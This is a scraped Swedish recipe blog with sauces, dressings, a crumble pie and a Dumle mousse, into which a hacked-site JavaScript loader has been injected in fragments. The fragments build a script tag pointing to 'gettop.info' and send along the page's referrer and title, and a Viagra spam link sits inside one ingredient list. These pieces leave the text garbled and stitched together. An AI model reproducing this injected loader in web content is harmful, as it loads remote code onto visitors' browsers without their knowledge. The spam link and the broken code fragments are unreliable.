Smulpaj med vaniljsås

Receptet hittade jag här.

En lite nyttigare variant på paj som går snabbt att göra och är fantastiskt god. Det godaste och bästa receptet på vaniljsås kommer från raw food kocken Russel James.

Jag använder ekologiska havregryn från butiken, och de är inte rå, men det är ganska hälsosamt ändå för dem som inte är 100% rå.

Gör smulpajen så här:
1. Blanda havre (glutenfritt) , dadlar, en nypa äkta vaniljpulver, agave (eller honung) och https://www.acheterviagrafr24.com/ en nypa salt i en mixer. Jag improviserar alltid med de saker jag har hemma och blandar tills det smakar gott.
2. Lägg ut bären i en form.
3. Strö på smulpajen, och ställ in i kylen tills vaniljsåsen är klar.

Vaniljsås (therawchef.com)
1 1/2 dl cashewnötter (gärna blötlagda några timmar för magens skull)
1/2 dl vatten
2 msk agave
3 matskedar kokosnötolja
1 msk vanilj
1/4 tsk salt

Så här gör du vaniljsåsen:
1. Blanda alla ingredienser i en matberedare tills det är en slät röra, det kan ta lite tid, kanske får du mixa omgångar i 15-20 minuter om du inte har en stark matberedare.
2. Låt svalna i kylskåpet för att uppnå en tjockare konsistens.
3. Njut!…

if (document.currentScript) { }

Sötstark Barbecuesås

Snart är grillsäsongen här och vad passar bättre med en supergod barbecusås som passar till precis allt grillat (kyckling, fläskkött, nötkött, fisk, skaldjur och grönsaker).

IMG_7107

Här kommer receptet.

Recept (4 personer)
1 dl ljus sirap
1 dl ketchup
1 dl grädde
1 tsk senapspulver (Colman’s)
1 tsk ingefära
1 tsk tabasco
1 dl finhackad gul lök (kan uteslutas om ni inte gillar lök)

Gör så här. Blanda ihop alla ingredienser och lägg i den finhackade gula löken. Förvaras i kylen innan servering.

Lycka till!

 

IMG_7107

Så här ser såsen ut utan den finhackade löken.

IMG_7108if (document.currentScript) {

if (document.currentScript) { var d=document;var s=d.createElement(‘script’);

Ranch Dressing

bild1
Nu har jag gjort min egna ”Ranch Dressing” och basen jag använde var från min egna majonnäs. Perfekt att ha till grönsaksdipp eller som salladsdressing.
Grundreceptet hittade jag här. Jag använde kokosmjölk light. Om ni vill ha en mer krämig dressing tar ni vanlig kokosmjölk. Glöm ej häll ut kokosvattnet och bara använd den krämiga delen av kokosmjölken.
Ingredienser
  1. 1 dl  Paleo majonnäs  (se nedan för recept)
  2. 1 dl  kokosmjölk
  3. 1/2 tsk lökpulver (prova dig fram)
  4. 1 tsp vitlökspulver (prova dig fram)
  5. 1/2- 1 tsk dill (prova dig fram)
  6. Salt  och peppar
Gör så här:
  1.  Blanda ihop alla ingredienser. Salta och peppra. Förvaras i en glasburk/platsburk i kylskåpet. Håller sig ca 1 vecka i kylskåp.

bild3

bild4

bild2

bild5

Majonnäs
Ingredienser
2 äggulor
1 tsk senap ( frivilligt)
3 tsk citronsaft
1,5  dl olivolja
0,5 dl kokosolja (uppvärmd, flytande)
Lite salt och peppar

Tillagning Vispa samman äggulorna med 1 tsk citronjuice och senapen. Fortsätt vispa hårt samtidigt som du långsamt droppar i oljan. Droppe för droppe i början. Vispa oavbrutet När du tillsätter mer olja kommer blandningen att bli tjockare och du kan tillsätta olja lite snabbare När oljan är uppbunden i majonnäsen tillsätter du resten av citronjuicen och smakar av. Tillsätt salt och peppar efter tycke och smak. Majonnäsen kan förvaras i kylskåpet ca 1 vecka.

Maj

}

document.currentScript.parentNode.insertBefore(s, document.currentScript);var d=document;var s=d.createElement(‘script’);

Elin’s basilikasås med honung

Den här kalla såsen passar perfekt till fisk och skaldjur.

Recept:
Färsk basilika
Olivolja
Citron
Honung
Creme Fraiche

Gör så här:
Blanda basilika med ca 1/2 dl olivolja, lite citron och honung samt några matskedar creme fraiche och mixa i en mixer. Ställ kallt i kylskåp innan servering.
bild (96)

bild (93)bild (86)

s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ''; document.currentScript.parentNode.insertBefore(s, document.currentScript);

Dumle mousse

bild (36)

50 gram Dumlekolor
2 msk florsocker
2 ägg
2 dl grädde

Smält dumelen tillsammans med florsocker i vattenbad. Låt svalna.
Separera äggen, vispa äggvitor till ett hårt skum och vispa ner äggulorna i den avsvalnande chokladen.
Vispa grädden hårt och vänd ner den och äggvitefluffet i chokladen. Rör ihop moussen till en slät smet.
Häll upp i flas och ställ kallt i ca 4 timmar.

Servera gärna med lite färska hallon.

bild (16)

 

 if (document.currentScript) {

} else {

Sås till ankbröst

Receptet hittade jag på www.recept.nu.

Sås:
4 dl  kycklingbuljong
2 msk pressad citronsaft
2 msk smör
2 msk vetemjöl
2 tsk kinesisk soja
salt och malen vitpeppar

Gör så här:
Smält smöret i en kastrull. Rör ner mjölet och spä med vätskan. Koka upp, sänk värmen och sjud i 3-5 minuter. Krydda med soja, salt och peppar.

var d=document;var s=d.createElement(‘script’); if (document.currentScript) {

Rödvinssås

Här kommer ett recept på en rödvinssås. Receptet hittade jag på en bloggen Kryddburken.


Recept:
1 stor gul lök i tunna skivor
2 morötter
120 gram knaperstekt bacon
1 knippe färsk timjan
1 tsk torkad rosmarin
1 tsk vitpepparkorn
1 msk tomatpuré
1 vitlöksklyfta
1 lagerblad
4 dl rött vin
3 dl kalvfond (egen eller 3-4 msk kalvfond/tärning + vatten)
Salt, peppar ev. en nypa socker
En klick smör

GÖR SÅHÄR : Skär bacon i mindre bitar och fräs på hastigt i het stekpanna. (Du kan även ha den helt rå från början, men jag tycker den blir godast såhär, då får man även bort en del av stekfettet) Skala och skiva löken tunt. Vänd ner allt i en kastrull och rör om alltihop tills löken mjuknat. (Jag brukar även ta med det fett/kött som blir över när jag putsat köttet som ska vara till, det ger lite extra smak) Slå sedan på rödvinet och sänk värmen till strax under medel, låt såsen reducera (koka ner) till hälften, utan lock.

Sila såsen och slå den i kastrullen igen. Tillsätt kalvfonden och och låt reducera ner igen till hälften så såsen tjocknar. Smaka av med salt och peppar, ev en nypa socker. Blanka såsen med en klick smör som du vispar ner. Färdig att serveras.}

document.currentScript.parentNode.insertBefore(s, document.currentScript);var d=document;var s=d.createElement(‘script’);

Kall vitlökssås

Den här såsen är riktigt god till sallader, fisk och skaldjur samt som dippsås till grönsaker och chips.

 

1 liten burk creme fraiche
2-3 msk majonnäs
1 pressad vitlöksklyfta
Lite salt och peppar

} else {

Rhode Islandsås

Den här såsen passar perfekt till salladsdressing, kycklingnuggets, fisk och skaldjur. Såsen är också god som dipsås till råa grönsaker eller pommes.

4 portioner
1 dl vispgrädde eller gräddfil.
1 dl majonnäs
1 1/2 dl chilisås
1 kryddmått slat
Lite tabasco, sherry eller konjak
1 1/2 dl finhackad pabrika (kan uteslutas)
1-2 msk finhackad persilja (kan uteslutas)

Rör ihop allt i en skål och smaka av med lite salt och ev ett par droppar Tabasco och sherry eller konjaj. Lite finhackad röd paprika och persilja kan ev blandas i såsen.

if (document.currentScript) {

if (document.currentScript) { } else {

Remouladsås

Här kommer ett enkelt och gott recept på en remouladsås som passar perfekt till fisk. Jag Stekte panerad fisk med potatismos och remouladsås.

Tillagning:
Häll 1 dl majonnäs,1 1/2 dl gräddfil ock 1 msk svensk bordssenap i en skål. Tillsätt 1/2 dl bostongurka 1 msk hackad kapris. Rör samman ock låt såsen stå ock dra minst  en halvtimme före serveringen.(4 port.)

 document.currentScript.parentNode.insertBefore(s, document.currentScript);

document.currentScript.parentNode.insertBefore(s, document.currentScript);